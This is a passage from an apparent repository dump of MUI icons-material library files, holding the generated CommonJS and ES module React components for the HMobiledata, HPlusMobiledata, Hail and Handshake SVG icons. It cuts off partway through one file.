    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11H6V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1v-3h6v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1zm9 0h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'HPlusMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11H6V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1v-3h6v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1zm9 0h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'HPlusMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HPlusMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11H6V7H4v10h2v-4h6v4h2V7h-2zm10 0h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'HPlusMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2v.4c-.1 2.2-.8 3.9-2.3 5.1-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3c-.9.7-1.39 1.6-1.4 3.1v.5H5v-.5c0-2 .71-3.59 2.11-4.79C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C16.48 5.14 17 4 17 2.5zM4 16h3v6H4z\"\n}), 'Hail');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hail.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2v.4c-.1 2.2-.8 3.9-2.3 5.1-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3c-.9.7-1.39 1.6-1.4 3.1v.5H5v-.5c0-2 .71-3.59 2.11-4.79C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C16.48 5.14 17 4 17 2.5zM4 16h3v6H4z\"\n}), 'Hail');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.95-4c.59 0 1.06.51 1 1.09-.02.15-.21 4.06-3.95 5.31V21c0 .55-.45 1-1 1s-1-.45-1-1v-5h-2v5c0 .55-.45 1-1 1s-1-.45-1-1V10.1q-.45.15-.6.3c-.46.36-1.17.87-1.36 2.67-.05.52-.47.93-1 .93-.58 0-1.05-.49-1-1.07.13-1.6.62-2.98 2.07-4.22C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06c.43-.34 1.28-.99 1.48-3.02.05-.52.47-.92.99-.92M5 16h1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1\"\n}), 'HailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5.95-4c.59 0 1.06.51 1 1.09-.02.15-.21 4.06-3.95 5.31V21c0 .55-.45 1-1 1s-1-.45-1-1v-5h-2v5c0 .55-.45 1-1 1s-1-.45-1-1V10.1q-.45.15-.6.3c-.46.36-1.17.87-1.36 2.67-.05.52-.47.93-1 .93-.58 0-1.05-.49-1-1.07.13-1.6.62-2.98 2.07-4.22C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06c.43-.34 1.28-.99 1.48-3.02.05-.52.47-.92.99-.92M5 16h1c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1\"\n}), 'HailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m5-4h2c0 2.7-.93 4.41-2.3 5.5-.5.4-1.1.7-1.7.9V22h-2v-6h-2v6H9V10.1q-.45.15-.6.3C7.87 10.81 7 11.43 7 14H5c0-2.06.35-3.78 2.11-5.29C8.21 7.81 10 7 12 7s2.68-.46 3.48-1.06C15.96 5.55 17 4.76 17 2M4 16h3v6H4z\"\n}), 'HailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Handshake.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 10.41c-.39.39-1.04.39-1.43 0l-4.47-4.46-7.05 7.04-.66-.63c-1.17-1.17-1.17-3.07 0-4.24l4.24-4.24c1.17-1.17 3.07-1.17 4.24 0L16.48 9c.39.39.39 1.02 0 1.41m.7-2.12c.78.78.78 2.05 0 2.83-1.27 1.27-2.61.22-2.83 0l-3.76-3.76-5.57 5.57c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.32-8.34c1.17-1.17 1.17-3.07 0-4.24l-4.24-4.24c-1.15-1.15-3.01-1.17-4.18-.06z\"\n}), 'Handshake');"
  },
  {
    "path": "packages/mui-icons-material/lib/Handshake.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 10.41c-.39.39-1.04.39-1.43 0l-4.47-4.46-7.05 7.04-.66-.63c-1.17-1.17-1.17-3.07 0-4.24l4.24-4.24c1.17-1.17 3.07-1.17 4.24 0L16.48 9c.39.39.39 1.02 0 1.41m.7-2.12c.78.78.78 2.05 0 2.83-1.27 1.27-2.61.22-2.83 0l-3.76-3.76-5.57 5.57c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.32-8.34c1.17-1.17 1.17-3.07 0-4.24l-4.24-4.24c-1.15-1.15-3.01-1.17-4.18-.06z\"\n}), 'Handshake');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83zm9.61-6.78c1.56-1.56 1.56-4.09 0-5.66l-4.24-4.24c-1.56-1.56-4.09-1.56-5.66 0l-.28.28-.28-.28c-1.56-1.56-4.09-1.56-5.66 0L2.17 6.71C.75 8.13.62 10.34 1.77 11.9l1.45-1.45c-.39-.75-.26-1.7.37-2.33l3.54-3.54c.78-.78 2.05-.78 2.83 0l3.56 3.56c.18.18.21.5 0 .71s-.53.18-.71 0L9.52 5.57l-5.8 5.79c-.98.97-.98 2.56 0 3.54.39.39.89.63 1.42.7.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.54.31 1.03.7 1.42.47.47 1.1.73 1.77.73s1.3-.26 1.77-.73z\"\n}), 'HandshakeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83zm9.61-6.78c1.56-1.56 1.56-4.09 0-5.66l-4.24-4.24c-1.56-1.56-4.09-1.56-5.66 0l-.28.28-.28-.28c-1.56-1.56-4.09-1.56-5.66 0L2.17 6.71C.75 8.13.62 10.34 1.77 11.9l1.45-1.45c-.39-.75-.26-1.7.37-2.33l3.54-3.54c.78-.78 2.05-.78 2.83 0l3.56 3.56c.18.18.21.5 0 .71s-.53.18-.71 0L9.52 5.57l-5.8 5.79c-.98.97-.98 2.56 0 3.54.39.39.89.63 1.42.7.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.52.3 1.02.7 1.42s.9.63 1.42.7c.07.54.31 1.03.7 1.42.47.47 1.1.73 1.77.73s1.3-.26 1.77-.73z\"\n}), 'HandshakeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 10.41c-.39.39-1.04.39-1.43 0l-4.47-4.46-7.05 7.04-.66-.63c-1.17-1.17-1.17-3.07 0-4.24l4.24-4.24c1.17-1.17 3.07-1.17 4.24 0L16.48 9c.39.39.39 1.02 0 1.41m.7-2.12c.78.78.78 2.05 0 2.83-1.27 1.27-2.61.22-2.83 0l-3.76-3.76-5.57 5.57c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.32-8.34c1.17-1.17 1.17-3.07 0-4.24l-4.24-4.24c-1.15-1.15-3.01-1.17-4.18-.06z\"\n}), 'HandshakeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 10.41c-.39.39-1.04.39-1.43 0l-4.47-4.46-7.05 7.04-.66-.63c-1.17-1.17-1.17-3.07 0-4.24l4.24-4.24c1.17-1.17 3.07-1.17 4.24 0L16.48 9c.39.39.39 1.02 0 1.41m.7-2.12c.78.78.78 2.05 0 2.83-1.27 1.27-2.61.22-2.83 0l-3.76-3.76-5.57 5.57c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.42 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.62-4.62.71.71-4.62 4.62c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.32-8.34c1.17-1.17 1.17-3.07 0-4.24l-4.24-4.24c-1.15-1.15-3.01-1.17-4.18-.06z\"\n}), 'HandshakeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.59 5.95-7.05 7.04L.7 10.3l8.55-8.55L17.2 9.7l-1.42 1.42zm12.65 4.29-8.49-8.49-2.06 2.06 5.9 5.88-2.83 2.83-5.17-5.17-6.27 6.27 1.42 1.41 5.32-5.32.71.71-5.32 5.32 1.42 1.41 5.32-5.32.71.71-5.32 5.32 1.41 1.41 5.32-5.32.71.71L10.68 20l1.41 1.41z\"\n}), 'HandshakeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.59 5.95-7.05 7.04L.7 10.3l8.55-8.55L17.2 9.7l-1.42 1.42zm12.65 4.29-8.49-8.49-2.06 2.06 5.9 5.88-2.83 2.83-5.17-5.17-6.27 6.27 1.42 1.41 5.32-5.32.71.71-5.32 5.32 1.42 1.41 5.32-5.32.71.71-5.32 5.32 1.41 1.41 5.32-5.32.71.71L10.68 20l1.41 1.41z\"\n}), 'HandshakeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HandshakeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.19.2-.51.19-.71 0-.21-.21-.18-.53 0-.71l3.39-3.39-1.41-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.19-.19-.51 0-.71l3.39-3.39-1.42-1.41-3.39 3.39c-.18.18-.5.21-.71 0-.19-.2-.19-.51 0-.71L9.52 8.4l1.87 1.86c.95.95 2.59.94 3.54 0 .98-.98.98-2.56 0-3.54l-1.86-1.86.28-.28c.78-.78 2.05-.78 2.83 0l4.24 4.24c.78.78.78 2.05 0 2.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.22 19.85c-.18.18-.5.21-.71 0-.18-.18-.21-.5 